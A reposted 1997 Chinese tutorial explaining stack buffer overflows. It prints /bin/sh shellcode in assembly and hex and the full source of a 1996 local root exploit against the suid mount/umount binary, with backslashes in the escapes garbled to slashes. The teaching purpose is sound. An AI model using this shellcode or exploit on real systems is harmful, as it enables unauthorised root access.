- 作者:zhaozj
- 发表时间:2020-12-23 10:59
- 来源:未知
本文内容仅用于教育目的。作者不保证内容的正确性。任何情况下,作者不 为由于使用文中内容而引起的任何破坏或问题负责。使用本文内容的风险由使用 者自己承担。 计算机应用工作室1997年版权所有 ########################################## 缓冲区溢出(buffer overflow)机理分析 ########################################## Only 1997.7.19 Only.bbs@bbs.sjtu.edu.cn 1.什么是缓冲区溢出? ~~~~~~~~~~~~~~~~~~~ buffer overflow,buffer overrun,smash the stack,trash the stack, scribble the stack, mangle the stack,spam,alias bug,fandango on core, memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手 段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程 序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区 溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程 序: example1.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16]; strcpy(buffer,str); } ---------------------------------------------------------------------- 上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的 标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的 getc(),fgetc(),getchar()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行 一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限 的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应 修改。 2.制造缓冲区溢出 ~~~~~~~~~~~~~~~~ 一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程 序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈 来存放。在内存中,它们的位置是: +------------------+ 内存低端 | 程序段 | |------------------| | 数据段 | |------------------| | 堆栈 | +------------------+ 内存高端 当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后 保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄 存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变 量留出一定空间,把SP减去适当的数值。以下面程序为例: example2.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ---------------------------------------------------------------------- 当调用函数function()时,堆栈如下: 低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 栈底 不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的 出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。 3.通过缓冲区溢出获得用户SHELL ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内 容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。 低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 ^ | 栈底 |________________________| 通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码 example3.c ---------------------------------------------------------------------- void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string /"/bin/sh/" # 8 bytes # 46 bytes total "); } ---------------------------------------------------------------------- 将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。 example4.c ---------------------------------------------------------------------- char shellcode[] = "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" "/x80/xe8/xdc/xff/xff/xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ---------------------------------------------------------------------- 这个程序所做的是,在large_string中填入buffer的地址,并把shell代码 放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢 出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从 strcpy()中返回时,就会转而执行shell。 4.利用缓冲区溢出进行的系统攻击 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放 入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过 反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进 行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码 前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令 后程序将激活shell进程。这样就大大增加了猜中的可能性。 低内存端 buffer sfp ret *str 高内存端 <------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ] 栈顶 ^ | 栈底 |_______________________________| 图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用 了系统程序mount的漏洞: example5.c ---------------------------------------------------------------------- /* Mount Exploit for Linux, Jul 30 1996 Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "/xeb/x24/x5e/x8d/x1e/x89/x5e/x0b/x33/xd2/x89/x56/x07/x89/x56/x0f" "/xb8/x1b/x56/x34/x12/x35/x10/x56/x34/x12/x8d/x4e/x0b/x8b/xd1/xcd" "/x80/x33/xc0/x40/xcd/x80/xe8/xd7/xff/xff/xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory/n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996/n"); execl(PATH_MOUNT, "mount", buff, NULL); } ---------------------------------------------------------------------- 程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区 buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望 程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成 mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。 由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将 获得一个具有root权限的shell。 --转自